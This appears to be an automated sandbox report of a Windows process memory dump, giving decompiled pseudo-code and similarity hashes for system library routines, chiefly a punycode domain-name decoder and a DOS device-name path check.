Part of subcall function 6A944D3B: ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944DE9
Part of subcall function 6A944D3B: memcmp.1105(00000000,6A8F5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6A944E26

RtlRbInsertNodeEx.1105(6AA086DC,?,00000000,00000000), ref: 6A92F931
RtlReleaseSRWLockExclusive.1105(6AA086AC,6AA086DC,?,00000000,00000000), ref: 6A92F93B
RtlReleaseSRWLockExclusive.1105(00000024,6AA086AC,6AA086DC,?,00000000,00000000), ref: 6A92F94F

Part of subcall function 6A94BC2C: RtlAcquireSRWLockExclusive.1105(?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BC79
Part of subcall function 6A94BC2C: RtlReleaseSRWLockExclusive.1105(?,?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BC8D
Part of subcall function 6A94BC2C: RtlAllocateHeap.1105(?,00000008,000000D0,?,?,00000030,00000000,-00000001,6A92F875,00000000,00000000,00000000,00000001,-00000001), ref: 6A94BCA6

RtlSetLastWin32Error.1105(00000057,00000000,00000001,-00000001), ref: 6A92F996
RtlReleaseSRWLockExclusive.1105(00000024,0000000A,00000024,00000000,00000000,00000000,00000001,-00000001), ref: 6A97BD78

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire$Oncememcmp$AllocateControlErrorExecuteHeapInsertLastNodeTraceWin32memset
String ID:
API String ID: 3014906823-0
Opcode ID: 6a1ccdb8d5f9f1dd6f52196350dca9c21285efa3c61109e79be976d4a5db7eb5
Instruction ID: a5ab98b0f9a782f75e803b2d6476daeb60fc3e1de25bc5874b03ff434118aa51
Opcode Fuzzy Hash: 6a1ccdb8d5f9f1dd6f52196350dca9c21285efa3c61109e79be976d4a5db7eb5
Instruction Fuzzy Hash: 4041F675254706BBFB11CF24C884B5BB7E8AF5934CF22451AE9168B249DF70D824CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6A915C07, Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 452
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E6A915C07(signed short* __ecx, signed int __edx, signed int* _a4, signed int* _a8, char _a12, char _a16, char* _a20, intOrPtr* _a24) {
				signed short* _v8;
				intOrPtr _v12;
				signed int* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr* _v36;
				signed int _v40;
				signed int* _v44;
				signed int _v48;
				signed short* _v52;
				signed short* _v56;
				intOrPtr _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int* _v76;
				void* _t155;
				signed int* _t156;
				intOrPtr* _t159;
				char _t160;
				signed int _t179;
				signed int _t181;
				char* _t182;
				void* _t183;
				signed int _t186;
				void* _t187;
				signed int _t190;
				signed int _t196;
				signed int* _t198;
				signed int _t200;
				intOrPtr _t202;
				intOrPtr _t203;
				signed int _t215;
				intOrPtr _t221;
				signed int _t222;
				signed int _t225;
				void* _t227;
				void* _t228;
				signed int* _t233;
				intOrPtr* _t234;
				signed int* _t236;
				signed short* _t239;
				void* _t249;
				void* _t250;
				signed int _t251;
				signed int _t253;
				void* _t269;
				signed int _t270;
				signed int _t272;
				void* _t273;
				void* _t274;
				signed short* _t277;
				signed short* _t280;
				intOrPtr* _t281;
				intOrPtr* _t282;
				signed int _t284;
				signed int _t287;
				signed int* _t288;
				signed int _t293;
				signed int* _t295;
				signed int* _t297;
				signed int _t299;
				signed int* _t302;
				signed int _t306;
				signed int _t309;
				signed int _t314;
				signed int _t315;
				signed short* _t317;
				void* _t318;

				_t236 = _a8;
				_v72 = __edx;
				_v52 = __ecx;
				_t299 =  *_t236;
				 *_t236 =  *_t236 & 0x00000000;
				 *_a20 = 1;
				if(__edx <= 0) {
					_t155 = 0xc0000716;
					L34:
					return _t155;
				}
				_t277 =  &(__ecx[__edx]);
				_t238 = __ecx;
				_v8 = __ecx;
				_v56 =  &(__ecx[0xffffffffffffffff]);
				_t295 = _a4;
				_t156 = _t295;
				_v16 = _t156;
				_t233 = _t156;
				_v76 = _t233;
				_v12 = _t233 + _t299 * 2;
				 *_a24 = _t233 - 2;
				if(__ecx >= _t277) {
					L35:
					_t155 = 0xc0000716;
					L33:
					goto L34;
				}
				_t302 = _t233;
				_v60 = 0x80;
				while(1) {
					_t159 = E6A915DDE(_t238, _t277, _a12);
					_t239 = _v8;
					_t234 = _t159;
					if(_t234 == _t239) {
						break;
					}
					if(_a12 != 0) {
						_t306 = _t234 - _t239;
						L7:
						if((_t277 - _t239 & 0xfffffffe) < 8) {
							L11:
							if((_v12 - _t295 & 0xfffffffe) < (_t306 & 0xfffffffe)) {
								goto L35;
							}
							_t280 = _t239;
							if(_t239 >= _t234) {
								L21:
								if(_a12 != 0 || (_t234 - _t239 & 0xfffffffe) <= 0x7e && _t295 != _v16) {
									_t277 = _v52 + _v72 * 2;
									if(_t234 == _t277) {
										L27:
										_t160 = _a12;
										if(_t160 != 0) {
											_a12 = 0;
											_v56 = _t234;
											asm("sbb ecx, ecx");
											 *_a24 = _t295 - ( ~(_t234 - _t277) & 0x00000002);
											if(_t234 == _t277 - 2) {
												goto L35;
											}
											_t160 = _a12;
										}
										_t238 = _t234 + 2;
										_t302 = _t295;
										_v8 = _t234 + 2;
										_v16 = _t302;
										if(_t234 < _t277) {
											continue;
										}
										L29:
										_t297 = _v76;
										if(_t302 == _t297 || _t160 == 0 && _t277 - _v56 >> 1 > (0 | ( *(_t277 - 2) & 0x0000ffff) == 0x0000002e) + 0xff) {
											goto L35;
										} else {
											 *_a8 = _t302 - _t297 >> 1;
											_t155 = 0;
											goto L33;
										}
									}
									if(_t295 >= _v12) {
										goto L35;
									}
									 *_t295 =  *_t234;
									_t295 =  &(_t295[0]);
									_a4 = _t295;
									goto L27;
								} else {
									goto L35;
								}
							} else {
								goto L13;
							}
							do {
								L13:
								if(_a12 != 0) {
									L17:
									_t179 =  *_t280 & 0x0000ffff;
									if(_t179 == 0 || _t179 >= 0x80) {
										goto L35;
									} else {
										goto L19;
									}
								}
								if(_a16 != 0) {
									if(E6A9C7F9F( *_t280) == 0) {
										goto L35;
									}
								}
								_t181 =  *_t280 & 0x0000ffff;
								_t249 = 0x20;
								if(_t181 < _t249) {
									goto L35;
								}
								_t250 = 0x7f;
								if(_t181 == _t250) {
									goto L35;
								}
								goto L17;
								L19:
								 *_t295 = _t179;
								_t280 =  &(_t280[1]);
								_t295 =  &(_t295[0]);
								_a4 = _t295;
							} while (_t280 < _t234);
							L20:
							_t239 = _v8;
							goto L21;
						}
						_t182 = L"xl--";
						if(_a12 == 0) {
							_t182 = L"xn--";
						}
						_t183 = E6A95E5C0(_t239, _t182, 4);
						_t239 = _v8;
						_t318 = _t318 + 0xc;
						if(_t183 == 0) {
							_t281 = _t234 - 2;
							_t239 =  &(_t239[4]);
							_v8 = _t239;
							 *_a20 = 0;
							if(_t281 < _t239) {
								L46:
								_t281 = 0;
								L47:
								if(_t281 == _t234 - 2) {
									goto L35;
								}
								if(_t281 == 0 || _t281 <= _t239) {
									_t186 = 0;
								} else {
									_t317 = _t239;
									_t186 = _t281 - _t239 >> 1;
									_v48 = _t186;
									if(_t239 == _t281) {
										L68:
										if(_t186 <= 0) {
											_t187 = 0;
										} else {
											_t187 = 2 + _t186 * 2;
										}
										_t309 = 0;
										_v24 = 0x80;
										_v28 = _v28 & 0;
										_t282 = _t187 + _t239;
										_v36 = _t282;
										_v48 = 0x48;
										if(_t282 >= _t234) {
											goto L21;
										} else {
											do {
												_t251 = 0x24;
												_v68 = _t309;
												_v64 = _t309;
												_v20 = 1;
												_v40 = _t251;
												_v44 = _t251 - _v48;
												while(_t282 < _t234) {
													_t190 = E6A9C802C( *_t282);
													_v36 = _v36 + 2;
													_t253 = _t190;
													if(_t253 < 0) {
														goto L35;
													}
													asm("cdq");
													if(_t253 > 0x7ffffff / _v20) {
														goto L35;
													}
													_t284 = _v40;
													_t309 = _t309 + _t253 * _v20;
													_t196 = _v48;
													_v32 = _t309;
													if(_t284 > _t196) {
														if(_t284 < _t196 + 0x1a) {
															_t198 = _v44;
														} else {
															_t198 = 0x1a;
														}
													} else {
														_t198 = 1;
													}
													if(_t253 < _t198) {
														_t314 = (_t295 - _v16 >> 1) - _v28 + 1;
														_v48 = E6A9C7FD5(_v32 - _v68, _t314, (_t253 & 0xffffff00 | _v64 == 0x00000000) & 0x000000ff);
														_t200 = _v32;
														asm("cdq");
														_t315 = _t200 % _t314;
														_t287 = _t200 / _t314;
														_t202 = _v24;
														_v32 = _t315;
														if(_t287 > 0x7ffffff - _t202) {
															goto L35;
														}
														_t203 = _t202 + _t287;
														_v24 = _t203;
														if(_t203 >= 0x80 && _t203 <= 0x10ffff && (_t203 < 0xd800 || _t203 > 0xdfff)) {
															if(_v28 <= 0) {
																_t288 = _v16 + _t315 * 2;
																_v44 = _t288;
																L97:
																if(_t203 >= 0x10000) {
																	if(_t295 >= _v12 + 0xfffffffe || _t288 > _t295) {
																		goto L35;
																	} else {
																		asm("cdq");
																		_t140 = (_v24 + 0xffff0000) / 0x400 - 0x2800; // -4294911872
																		E6A9C7F11((_v24 + 0xffff0000) / 0x400, _t140, _v44,  &_a4);
																		E6A9C7F11( &_a4, (_v24 + 0xffff0000) % 0x400 - 0x2400,  &(_v44[0]),  &_a4);
																		_v28 = _v28 + 1;
																		_t315 = _v32;
																		goto L104;
																	}
																}
																if(_t295 >= _v12 || _t288 > _t295) {
																	goto L35;
																} else {
																	E6A9C7F11(_t203, _t203, _t288,  &_a4);
																	goto L104;
																}
															}
															_t288 = _v16;
															_v40 = _t315;
															_v44 = _t288;
															if(_t315 <= 0) {
																goto L97;
															}
															while(_t288 < _t295) {
																if(E6A9C7F61( *_t288) != 0) {
																	_t288 =  &(_t288[0]);
																}
																_t288 =  &(_t288[0]);
																_t215 = _v40 - 1;
																_v44 = _t288;
																_v40 = _t215;
																if(_t215 > 0) {
																	continue;
																} else {
																	_t203 = _v24;
																	goto L97;
																}
															}
														}
														goto L35;
													} else {
														_t269 = 0x24;
														_t270 = _t269 - _t198;
														asm("cdq");
														_t293 = _v20;
														if(_t293 > 0x7ffffff / _t270) {
															goto L35;
														}
														_v40 = _v40 + 0x24;
														_v44 =  &(_v44[9]);
														_t282 = _v36;
														_v20 = _t270 * _t293;
														continue;
													}
												}
												goto L35;
												L104:
												_t282 = _v36;
												_t309 = _t315 + 1;
												_t295 = _a4;
											} while (_t282 < _t234);
											goto L20;
										}
									}
									while(_t295 < _v12) {
										_t221 = _a12;
										if(_t221 != 0) {
											L58:
											_t272 =  *_t317 & 0x0000ffff;
											if(_t272 == 0 || _t272 >= _v60) {
												goto L35;
											} else {
												if(_t221 != 0) {
													L63:
													_t222 = _t272;
													L64:
													 *_t295 = _t222;
													_t317 =  &(_t317[1]);
													_t295 =  &(_t295[0]);
													_a4 = _t295;
													if(_t317 != _t281) {
														continue;
													}
													break;
												}
												_t59 = _t272 - 0x41; // 0x3f
												if(_t59 > 0x19) {
													goto L63;
												}
												_t60 = _t272 + 0x20; // 0xa0
												_t222 = _t60 & 0x0000ffff;
												goto L64;
											}
										}
										if(_a16 == _t221 || E6A9C7F9F( *_t317) != 0) {
											_t225 =  *_t317 & 0x0000ffff;
											_t273 = 0x20;
											if(_t225 < _t273) {
												goto L35;
											}
											_t274 = 0x7f;
											if(_t225 == _t274) {
												goto L35;
											}
											_t221 = _a12;
											goto L58;
										} else {
											goto L35;
										}
									}
									if(_t317 != _t281) {
										goto L35;
									}
									_t239 = _v8;
									_t186 = _v48;
								}
								goto L68;
							}
							_t227 = 0x2d;
							while( *_t281 != _t227) {
								_t281 = _t281 - 2;
								if(_t281 >= _t239) {
									continue;
								}
								goto L46;
							}
							goto L47;
						} else {
							goto L11;
						}
					}
					if(_a16 != 0) {
						_t228 = 0x2d;
						if( *_t239 == _t228) {
							goto L35;
						}
						if(_t234 <= _v52) {
							goto L6;
						}
						if( *((intOrPtr*)(_t234 - 2)) == _t228) {
							goto L35;
						}
					}
					L6:
					_t306 = _t234 - _t239;
					if((_t306 & 0xfffffffe) > 0x7e) {
						goto L35;
					}
					goto L7;
				}
				_t160 = _a12;
				if(_t160 != 0 || _t234 != _t277) {
					goto L35;
				} else {
					goto L29;
				}
			}

0x6a915c14
0x6a915c18
0x6a915c1b
0x6a915c1e
0x6a915c20
0x6a915c26
0x6a915c2b
0x6a9712f0
0x6a915dcf
0x6a915dd4
0x6a915dd4
0x6a915c31
0x6a915c34
0x6a915c39
0x6a915c3c
0x6a915c40
0x6a915c43
0x6a915c45
0x6a915c48
0x6a915c4a
0x6a915c53
0x6a915c59
0x6a915c5d
0x6a915dd7
0x6a915dd7
0x6a915dce
0x00000000
0x6a915dce
0x6a915c63
0x6a915c65
0x6a915c6c
0x6a915c6f
0x6a915c74
0x6a915c77
0x6a915c7b
0x00000000
0x00000000
0x6a915c85
0x6a971320
0x6a915ca7
0x6a915cb1
0x6a915cda
0x6a915ce7
0x00000000
0x00000000
0x6a915ced
0x6a915cf1
0x6a915d4b
0x6a915d4f
0x6a915d68
0x6a915d6d
0x6a915d80
0x6a915d80
0x6a915d85
0x6a97163d
0x6a971643
0x6a97164a
0x6a971654
0x6a97165b
0x00000000
0x00000000
0x6a971661
0x6a971661
0x6a915d8b
0x6a915d8e
0x6a915d90
0x6a915d93
0x6a915d98
0x00000000
0x00000000
0x6a915d9e
0x6a915d9e
0x6a915da3
0x00000000
0x6a915dc3
0x6a915dca
0x6a915dcc
0x00000000
0x6a915dcc
0x6a915da3
0x6a915d72
0x00000000
0x00000000
0x6a915d77
0x6a915d7a
0x6a915d7d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915cf3
0x6a915cf3
0x6a915cf7
0x6a915d1e
0x6a915d1e
0x6a915d24
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915d24
0x6a915cfd
0x6a971630
0x00000000
0x00000000
0x6a971636
0x6a915d03
0x6a915d08
0x6a915d0c
0x00000000
0x00000000
0x6a915d14
0x6a915d18
0x00000000
0x00000000
0x00000000
0x6a915d38
0x6a915d38
0x6a915d3b
0x6a915d3e
0x6a915d41
0x6a915d44
0x6a915d48
0x6a915d48
0x00000000
0x6a915d48
0x6a915cb7
0x6a915cbc
0x6a915cbe
0x6a915cbe
0x6a915cc7
0x6a915ccc
0x6a915ccf
0x6a915cd4
0x6a97132a
0x6a97132d
0x6a971330
0x6a971333
0x6a971338
0x6a971349
0x6a971349
0x6a97134b
0x6a971350
0x00000000
0x00000000
0x6a971358
0x6a971405
0x6a971366
0x6a971368
0x6a97136c
0x6a97136e
0x6a971373
0x6a971407
0x6a971409
0x6a971414
0x6a97140b
0x6a97140b
0x6a97140b
0x6a971416
0x6a971418
0x6a97141f
0x6a971422
0x6a971425
0x6a971428
0x6a971431
0x00000000
0x6a971437
0x6a971437
0x6a971439
0x6a97143c
0x6a971442
0x6a971445
0x6a97144c
0x6a97144f
0x6a971452
0x6a97145d
0x6a971462
0x6a971466
0x6a97146a
0x00000000
0x00000000
0x6a971477
0x6a97147d
0x00000000
0x00000000
0x6a971483
0x6a97148c
0x6a97148e
0x6a971491
0x6a971496
0x6a9714a2
0x6a9714a9
0x6a9714a4
0x6a9714a6
0x6a9714a6
0x6a971498
0x6a97149a
0x6a97149a
0x6a9714ae
0x6a9714e8
0x6a971501
0x6a971509
0x6a97150c
0x6a97150f
0x6a971511
0x6a971513
0x6a971518
0x6a97151d
0x00000000
0x00000000
0x6a971523
0x6a97152a
0x6a97152f
0x6a971556
0x6a971595
0x6a971598
0x6a97159b
0x6a9715a0
0x6a9715c8
0x00000000
0x6a9715d6
0x6a9715e3
0x6a9715ef
0x6a9715f5
0x6a971607
0x6a97160c
0x6a97160f
0x00000000
0x6a97160f
0x6a9715c8
0x6a9715a5
0x00000000
0x6a9715b3
0x6a9715b9
0x00000000
0x6a9715b9
0x6a9715a5
0x6a971558
0x6a97155b
0x6a97155e
0x6a971563
0x00000000
0x00000000
0x6a971565
0x6a971577
0x6a971579
0x6a971579
0x6a97157f
0x6a971582
0x6a971583
0x6a971586
0x6a97158b
0x00000000
0x6a97158d
0x6a97158d
0x00000000
0x6a97158d
0x6a97158b
0x6a971565
0x00000000
0x6a9714b0
0x6a9714b2
0x6a9714b3
0x6a9714ba
0x6a9714bd
0x6a9714c2
0x00000000
0x00000000
0x6a9714c8
0x6a9714cf
0x6a9714d3
0x6a9714d6
0x00000000
0x6a9714d6
0x6a9714ae
0x00000000
0x6a971612
0x6a971612
0x6a971615
0x6a971616
0x6a971619
0x00000000
0x6a971621
0x6a971431
0x6a971379
0x6a97137e
0x6a971383
0x6a9713b8
0x6a9713b8
0x6a9713be
0x00000000
0x6a9713ce
0x6a9713d0
0x6a9713e3
0x6a9713e3
0x6a9713e5
0x6a9713e5
0x6a9713e8
0x6a9713eb
0x6a9713ee
0x6a9713f3
0x00000000
0x00000000
0x00000000
0x6a9713f3
0x6a9713d2
0x6a9713d9
0x00000000
0x00000000
0x6a9713db
0x6a9713de
0x00000000
0x6a9713de
0x6a9713be
0x6a971388
0x6a97139a
0x6a97139f
0x6a9713a3
0x00000000
0x00000000
0x6a9713ab
0x6a9713af
0x00000000
0x00000000
0x6a9713b5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a971388
0x6a9713f7
0x00000000
0x00000000
0x6a9713fd
0x6a971400
0x6a971400
0x00000000
0x6a971358
0x6a97133c
0x6a97133d
0x6a971342
0x6a971347
0x00000000
0x00000000
0x00000000
0x6a971347
0x00000000
0x00000000
0x00000000
0x00000000
0x6a915cd4
0x6a915c8f
0x6a9712fc
0x6a971300
0x00000000
0x00000000
0x6a971309
0x00000000
0x00000000
0x6a971313
0x00000000
0x00000000
0x6a971319
0x6a915c95
0x6a915c97
0x6a915ca1
0x00000000
0x00000000
0x00000000
0x6a915ca1
0x6a971669
0x6a97166e
0x00000000
0x6a97167c
0x00000000
0x6a97167c

APIs

_wcsnicmp.1105(?,xl--,00000004,?,?,?,?), ref: 6A915CC7

Strings

xn--, xrefs: 6A915CBE, 6A915CC5
$, xrefs: 6A9714C8
xl--, xrefs: 6A915CB7
$, xrefs: 6A9714CF
H, xrefs: 6A971428

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsnicmp
String ID: $$$$H$xl--$xn--
API String ID: 1886669725-662589111
Opcode ID: 36ee5d110c47cc6a5dee9793550897128e7da7df1a385686a9c035ad2970c123
Instruction ID: 53fe0e6b29d8675fba878619e15132abd30b43fc799ccf6caa02e64b407b1951
Opcode Fuzzy Hash: 36ee5d110c47cc6a5dee9793550897128e7da7df1a385686a9c035ad2970c123
Instruction Fuzzy Hash: 16F1F075E0825A9BDF24CF68C4D87ADB7F1AF45314F36856AD911AB290EF30CD818B60

Uniqueness

Uniqueness Score: -1.00%

Function 6A9374C0, Relevance: 10.8, APIs: 7, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6A9374C0(signed short* __ecx) {
				char _v8;
				signed int _v12;
				signed int* _v16;
				void* _v20;
				signed short _t49;
				signed int _t54;
				signed int _t56;
				signed int _t57;
				signed int _t68;
				signed short* _t71;
				signed int _t74;
				signed int _t80;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				char _t91;
				signed short* _t92;
				unsigned short _t93;
				char _t94;
				signed short* _t95;
				signed int _t100;
				unsigned short _t101;
				signed short* _t104;
				signed int _t105;
				void* _t106;
				signed int* _t107;
				signed short _t108;
				signed int _t109;
				signed int _t112;
				signed int* _t113;

				_t92 = __ecx;
				_t104 = __ecx[2];
				_t112 =  *__ecx & 0x0000ffff;
				_v8 = 0;
				if(_t112 < 2) {
					L3:
					_t49 =  *_t92;
					_t113 = _t104;
					_t108 = _t49;
					_v20 = _t49;
					_t89 = _t108 & 0x0000ffff;
					_t93 = _t89;
					_v16 = _t113;
					_t105 = _t93 >> 0x00000001 & 0x0000ffff;
					if(_t105 == 0) {
						goto L28;
					} else {
						if( *((short*)(_t113 + _t105 * 2 - 2)) == 0x3a) {
							_t43 = _t93 - 2; // 0xfffffe
							_t108 = _t43;
							_t105 = _t105 + 0xffff;
							_t94 = 1;
							_v8 = 1;
						} else {
							_t94 = 0;
						}
						if(_t105 == 0) {
							goto L28;
						} else {
							while(1) {
								_t54 =  *(_t113 + (_t105 & 0x0000ffff) * 2 - 2) & 0x0000ffff;
								if(_t54 != 0x2e && _t54 != 0x20) {
									break;
								}
								_v12 = 0xfffe;
								_t105 = _t105 + 0xffff;
								_t108 = _t108 + _v12;
								_t94 = _t94 + 1;
								if(_t105 != 0) {
									continue;
								} else {
								}
								break;
							}
							_v8 = _t94;
							_v12 = 0;
							if(_t105 == 0) {
								L20:
								_t95 = _t113;
								_t106 = _t113 + (_t105 & 0x0000ffff) * 2;
								if(_t113 < _t106) {
									while(1) {
										_t68 =  *_t95 & 0x0000ffff;
										if(_t68 == 0x2e || _t68 == 0x3a) {
											break;
										}
										_t95 =  &(_t95[1]);
										if(_t95 < _t106) {
											continue;
										}
										break;
									}
									if(_t95 > _t113) {
										while( *((short*)(_t95 - 2)) == 0x20) {
											_t95 =  &(_t95[0xffffffffffffffff]);
											if(_t95 > _t113) {
												continue;
											} else {
											}
											goto L27;
										}
									}
								}
								L27:
								_t56 = _t95 - _t113 >> 0x00000001 & 0x0000ffff;
								_t109 = _t56;
								_v20 = _t56 + _t56;
								if(_t109 != 5) {
									_t26 = _t109 - 3; // 0x37
									_t57 = _t26;
									if(_t57 > 4) {
										goto L28;
									} else {
										switch( *((intOrPtr*)(_t57 * 4 +  &M6A9377C8))) {
											case 0:
												if(RtlEqualUnicodeString( &_v20, 0x6a8f1040, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6a8f1050, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6a8f1048, 1) != 0) {
													goto L46;
												} else {
													_push(1);
													_push(0x6a8f1058);
													goto L45;
												}
												goto L76;
											case 1:
												_t36 = __esi + 6; // 0xe6a8f
												__eax =  *_t36 & 0x0000ffff;
												if(iswdigit( *_t36 & 0x0000ffff) == 0) {
													goto L28;
												} else {
													if( *(__esi + 6) == 0x30) {
														goto L28;
													} else {
														_t46 = __ebx - 2; // -1
														__eax = _t46;
														_v20 = __ax;
														 &_v20 = RtlEqualUnicodeString( &_v20, 0x6a8f18f8, 1);
														if(__al != 0) {
															goto L46;
														} else {
															_push(1);
															_push(0x6a8f1910);
															goto L45;
														}
													}
												}
												goto L76;
											case 2:
												goto L28;
											case 3:
												_push(1);
												_push(0x6a8f1068);
												L45:
												if(RtlEqualUnicodeString( &_v20, ??, ??) == 0) {
													goto L28;
												} else {
													goto L46;
												}
												goto L76;
											case 4:
												_t35 =  &_v20; // 0xffff0
												_t35 = RtlEqualUnicodeString(_t35, 0x6a8f1060, 1);
												if(__al == 0) {
													goto L28;
												} else {
													L46:
													return _t109 + _t109 | _v12 << 0x00000010;
												}
												goto L76;
										}
									}
								} else {
									goto L28;
								}
							} else {
								_t71 = _t113 + ((_t105 & 0x0000ffff) - 1) * 2;
								if(_t71 < _t113) {
									L19:
									_t74 = ( *_t113 | 0x00000020) & 0x0000ffff;
									if(_t74 != 0x70) {
										if(_t74 == 0x6c || _t74 == 0x6e || _t74 == 0x61 || _t74 == 0x63) {
											goto L20;
										} else {
											goto L28;
										}
									} else {
										goto L20;
									}
								} else {
									while(1) {
										_t100 =  *_t71 & 0x0000ffff;
										if(_t100 == 0x5c || _t100 == 0x2f) {
											break;
										}
										if(_t100 == 0x3a) {
											if(_t71 !=  &(_t113[0])) {
												goto L14;
											} else {
												break;
											}
										} else {
											L14:
											_t71 = _t71 - 2;
											if(_t71 >= _t113) {
												continue;
											} else {
												goto L19;
											}
										}
										goto L76;
									}
									_t15 =  &(_t71[1]); // 0x3b
									_t107 = _t15;
									if(_t107 >= _t113 + (_t89 & 0xfffffffe)) {
										goto L28;
									} else {
										_t80 = ( *_t107 | 0x00000020) & 0x0000ffff;
										if(_t80 != 0x70) {
											if(_t80 == 0x6c || _t80 == 0x6e || _t80 == 0x61) {
												goto L18;
											} else {
												if(_t80 != 0x63) {
													goto L28;
												} else {
													goto L18;
												}
											}
										} else {
											L18:
											_v12 = _t107 - _t113;
											_t91 = _v8;
											_t101 = _t113 - _t107 + _t89 & 0x0000ffff;
											_t113 = _t107;
											_v16 = _t113;
											_t105 = (_t101 >> 0x00000001) - _t91 & 0x0000ffff;
											_v20 = _t101 - _t91 + _t91;
											goto L19;
										}
									}
								}
							}
						}
					}
				} else {
					_t85 =  *_t104 & 0x0000ffff;
					if(_t85 == 0x5c || _t85 == 0x2f) {
						if(_t112 < 4) {
							goto L3;
						} else {
							_t86 = _t104[1] & 0x0000ffff;
							if(_t86 != 0x5c) {
								if(_t86 != 0x2f) {
									goto L3;
								} else {
									goto L54;
								}
							} else {
								L54:
								if(_t112 < 6) {
									L28:
									return 0;
								} else {
									_t87 = _t104[2] & 0x0000ffff;
									if(_t87 != 0x2e) {
										if(_t87 == 0x3f) {
											goto L56;
										} else {
											goto L28;
										}
									} else {
										L56:
										if(_t112 < 8) {
											L69:
											if(_t112 != 6) {
												goto L28;
											} else {
												goto L3;
											}
										} else {
											_t88 = _t104[3] & 0x0000ffff;
											if(_t88 == 0x5c) {
												goto L28;
											} else {
												if(_t88 == 0x2f) {
													goto L28;
												} else {
													goto L69;
												}
											}
										}
									}
								}
							}
						}
					} else {
						goto L3;
					}
				}
				L76:
			}

0x6a9374c0
0x6a9374c8
0x6a9374cd
0x6a9374d0
0x6a9374db
0x6a9374f2
0x6a9374f2
0x6a9374f4
0x6a9374f6
0x6a9374f9
0x6a9374fc
0x6a9374ff
0x6a937501
0x6a93750a
0x6a937510
0x00000000
0x6a937516
0x6a93751c
0x6a9377af
0x6a9377af
0x6a9377b2
0x6a9377b8
0x6a9377bd
0x6a937522
0x6a937522
0x6a937522
0x6a937527
0x00000000
0x6a93752d
0x6a93752d
0x6a937530
0x6a937539
0x00000000
0x00000000
0x6a93778f
0x6a937796
0x6a93779c
0x6a9377a0
0x6a9377a4
0x00000000
0x00000000
0x6a9377aa
0x00000000
0x6a9377a4
0x6a937549
0x6a93754c
0x6a937556
0x6a9375e5
0x6a9375e8
0x6a9375ea
0x6a9375ef
0x6a9375f1
0x6a9375f1
0x6a9375f7
0x00000000
0x00000000
0x6a9375fe
0x6a937603
0x00000000
0x00000000
0x00000000
0x6a937603
0x6a937607
0x6a937610
0x6a97f983
0x6a97f988
0x00000000
0x00000000
0x6a97f98e
0x00000000
0x6a97f988
0x6a937610
0x6a937607
0x6a93761b
0x6a93761f
0x6a937622
0x6a937627
0x6a93762e
0x6a937680
0x6a937680
0x6a937686
0x00000000
0x6a937688
0x6a937688
0x00000000
0x6a9376a1
0x00000000
0x6a9376cb
0x6a9376cb
0x6a9376cd
0x00000000
0x6a9376cd
0x00000000
0x00000000
0x6a937718
0x6a937718
0x6a937727
0x00000000
0x6a93772d
0x6a97f998
0x00000000
0x6a97f99e
0x6a97f99e
0x6a97f99e
0x6a97f9a3
0x6a97f9b0
0x6a97f9b7
0x00000000
0x6a97f9bd
0x6a97f9bd
0x6a97f9bf
0x00000000
0x6a97f9bf
0x6a97f9b7
0x6a97f998
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93770f
0x6a937711
0x6a9376d2
0x6a9376dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9376fc
0x6a937700
0x6a937707
0x00000000
0x6a93770d
0x6a9376e3
0x6a9376f4
0x6a9376f4
0x00000000
0x00000000
0x6a937688
0x00000000
0x00000000
0x00000000
0x6a93755c
0x6a937560
0x6a937565
0x6a9375d6
0x6a9375dd
0x6a9375e3
0x6a937661
0x00000000
0x6a93767e
0x00000000
0x6a93767e
0x00000000
0x00000000
0x00000000
0x6a937567
0x6a937567
0x6a937567
0x6a93756d
0x00000000
0x00000000
0x6a937577
0x6a93777a
0x00000000
0x6a937780
0x00000000
0x6a937780
0x6a93757d
0x6a93757d
0x6a93757d
0x6a937582
0x00000000
0x6a937584
0x00000000
0x6a937584
0x6a937582
0x00000000
0x6a937577
0x6a937586
0x6a937586
0x6a937592
0x00000000
0x6a937598
0x6a93759f
0x6a9375a5
0x6a93763c
0x00000000
0x6a937654
0x6a937657
0x00000000
0x6a937659
0x00000000
0x6a937659
0x6a937657
0x6a9375ab
0x6a9375ab
0x6a9375b3
0x6a9375b6
0x6a9375b9
0x6a9375bc
0x6a9375c1
0x6a9375ca
0x6a9375d2
0x00000000
0x6a9375d2
0x6a9375a5
0x6a937592
0x6a937565
0x6a937556
0x6a937527
0x6a9374dd
0x6a9374dd
0x6a9374e3
0x6a937735
0x00000000
